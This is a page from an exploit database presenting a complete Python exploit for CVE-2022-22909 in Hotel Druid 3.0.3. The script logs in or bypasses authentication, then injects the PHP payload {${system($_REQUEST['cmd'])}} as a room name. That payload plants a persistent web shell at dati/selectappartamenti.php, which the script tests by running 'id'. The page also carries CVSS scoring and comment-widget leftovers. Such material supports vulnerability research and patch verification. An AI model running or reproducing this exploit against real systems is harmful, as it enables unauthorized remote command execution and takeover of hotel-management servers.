Hotel Druid 3.0.3 Remote Code Execution

2022.02.20
Credit: 0z09e
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Hotel Druid 3.0.3 - Remote Code Execution (RCE) # Date: 05/01/2022 # Exploit Author: 0z09e (https://twitter.com/0z09e) # Vendor Homepage: https://www.hoteldruid.com/ # Software Link: https://www.hoteldruid.com/download/hoteldruid_3.0.3.tar.gz # Version: 3.0.3 # CVE : CVE-2022-22909 #!/usr/bin/python3 import requests import argparse def login( target , username = "" , password = "", noauth=False): login_data = { "vers_hinc" : "1", "nome_utente_phpr" : username, "password_phpr" : password } if not noauth: login_req = requests.post(f"{target}/inizio.php" , data=login_data , verify=False ) if '<a class="nav" id="nb_men" href="./inizio.php?id_sessione=' in login_req.text: token = login_req.text.split('<a class="nav" id="nb_men" href="./inizio.php?id_sessione=')[1].split('">&nbsp;<b>')[0] anno = login_req.text.split('<input type="hidden" name="anno" value="')[1].split('">')[0] ret_data = {"token" : token , "anno" : anno} #print("ret data" + ret_data) return ret_data else: return False else: login_req = requests.get(f"{target}/inizio.php" , verify=False ) try: anno = login_req.text.split('<input type="hidden" name="anno" value="')[1].split('">')[0] token = "" ret_data = {"token" : token , "anno" : anno} return ret_data except: return False def check_privilege(target , anno , token=""): priv_req = requests.get(f"{target}/visualizza_tabelle.php?id_sessione={token}&tipo_tabella=appartamenti" , verify=False) #print(priv_req.text) if "Modify" in priv_req.text: return True else: return False def add_room(target , anno , token=""): add_room_data = { "anno": anno, "id_sessione": token, "n_app":"{${system($_REQUEST['cmd'])}}", "crea_app":"SI", "crea_letti":"", "n_letti":"", "tipo_tabella":"appartamenti" } add_req = requests.post(f"{target}/visualizza_tabelle.php" , data=add_room_data , verify=False) #print(add_req.text) if "has been added" in add_req.text: return True else: return False def test_code_execution(target): code_execution_req = requests.get(f"{target}/dati/selectappartamenti.php?cmd=id") if "uid=" in code_execution_req.text: return code_execution_req.text.split("\n")[0] else: return False def main(): banner = """\n /$$ /$$ /$$ /$$ /$$$$$$$ /$$ /$$ | $$ | $$ | $$ | $$ | $$__ $$ |__/ | $$ | $$ | $$ /$$$$$$ /$$$$$$ /$$$$$$ | $$ | $$ \ $$ /$$$$$$ /$$ /$$ /$$ /$$$$$$$ | $$$$$$$$ /$$__ $$|_ $$_/ /$$__ $$| $$ | $$ | $$ /$$__ $$| $$ | $$| $$ /$$__ $$ | $$__ $$| $$ \ $$ | $$ | $$$$$$$$| $$ | $$ | $$| $$ \__/| $$ | $$| $$| $$ | $$ | $$ | $$| $$ | $$ | $$ /$$| $$_____/| $$ | $$ | $$| $$ | $$ | $$| $$| $$ | $$ | $$ | $$| $$$$$$/ | $$$$/| $$$$$$$| $$ | $$$$$$$/| $$ | $$$$$$/| $$| $$$$$$$ |__/ |__/ \______/ \___/ \_______/|__/ |_______/ |__/ \______/ |__/ \_______/\n\nExploit By - 0z09e (https://twitter.com/0z09e)\n\n""" parser = argparse.ArgumentParser() req_args = parser.add_argument_group('required arguments') req_args.add_argument("-t" ,"--target" , help="Target URL. Example : http://10.20.30.40/path/to/hoteldruid" , required=True) req_args.add_argument("-u" , "--username" , help="Username" , required=False) req_args.add_argument("-p" , "--password" , help="password", required=False) req_args.add_argument("--noauth" , action="store_true" , default=False , help="If No authentication is required to access the dashboard", required=False) args = parser.parse_args() target = args.target if target[-1] == "/": target = target[:-1] noauth = args.noauth username = args.username password = args.password if noauth == False and (username == None or password == None): print('[-] Please provide the authentication method.' ) quit() print(banner) if not noauth: print(f"[*] Logging in with the credential {username}:{password}") login_result = login(username = username , password = password , target = target) if login_result != False: token = login_result.get('token') anno = login_result.get('anno') else: print("[-] Login failed, Check your credential or check if login is required or not .") quit() else: print('[*] Trying to access the Dashboard.') login_result = login(username = username , password = password , target = target , noauth=True) if login_result != False: token = login_result.get('token') anno = login_result.get('anno') else: print('[-] Unable to access the dashboard, Maybe the dashboard is protected with credential.') exit() print("[*] Checking the privilege of the user.") if check_privilege(target= target , token=token , anno=anno): print("[+] User has the privilege to add room.") else: print("[-] User doesn't have the privilege to add room.") exit() print("[*] Adding a new room.") if add_room(target = target , anno=anno , token=token): print('[+] Room has been added successfully.') else: print('[-] Unknown error occured, unable to add room. Maybe the room has already been added') exit() print('[*] Testing code exection') output = test_code_execution(target = target) if output != False: print(f"[+] Code executed successfully, Go to {target}/dati/selectappartamenti.php and execute the code with the parameter 'cmd'.") print(f'[+] Example : {target}/dati/selectappartamenti.php?cmd=id') print(f"[+] Example Output : {output}") exit() else: print(f"[-] Code execution failed. If the Target is Windows, Check {target}/dati/selectappartamenti.php and try execute the code with the parameter 'cmd'. Example : {target}/dati/selectappartamenti.php?cmd=hostname") exit() main()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top